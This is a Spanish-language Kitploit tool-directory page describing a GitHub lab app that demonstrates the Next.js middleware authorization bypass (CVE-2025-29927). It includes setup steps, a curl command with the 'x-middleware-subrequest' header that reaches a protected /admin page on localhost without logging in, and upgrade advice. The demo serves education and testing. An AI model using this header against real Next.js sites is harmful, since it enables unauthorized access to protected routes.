Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
NextJS_CVE-2025-29927 | Kitploit
Herramientas/GitHubGitHub/all3njk/nextjs_cve-2025-29927
Análisis de VulnerabilidadesExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHuball3njk/nextjs_cve-2025-29927

NextJS_CVE-2025-29927

Ver Repositorio
hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Demostración de Bypass de Autorización en Next.js

Esta aplicación demuestra la vulnerabilidad x-middleware-subrequest en Next.js 13.4.19, que permite evadir la protección del middleware.

Configuración

  1. Instala las dependencias:
root@kitploit:~
npm install
  1. Inicia el servidor de desarrollo:
root@kitploit:~
npm run dev

Demostración de la Vulnerabilidad

La aplicación tiene una página de administración en /admin que debería estar protegida por middleware. Sin embargo, se puede acceder a ella sin autenticación utilizando la cabecera x-middleware-subrequest.

Flujo Normal

  1. Visita /admin - Serás redirigido a /login
  2. Inicia sesión con cualquier credencial - Serás redirigido a /admin

Método de Bypass

Para evadir la autenticación, puedes usar curl o cualquier cliente HTTP para realizar una solicitud con la cabecera x-middleware-subrequest:

root@kitploit:~
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin

Implicaciones de Seguridad

Esta vulnerabilidad demuestra cómo se puede evadir la protección del middleware en Next.js 13.4.19 mediante el uso de la cabecera x-middleware-subrequest. En un entorno de producción, esto podría permitir el acceso no autorizado a rutas protegidas.

Solución

Para corregir esta vulnerabilidad, actualiza a una versión más reciente de Next.js en la que este problema haya sido parcheado.

Descargar herramienta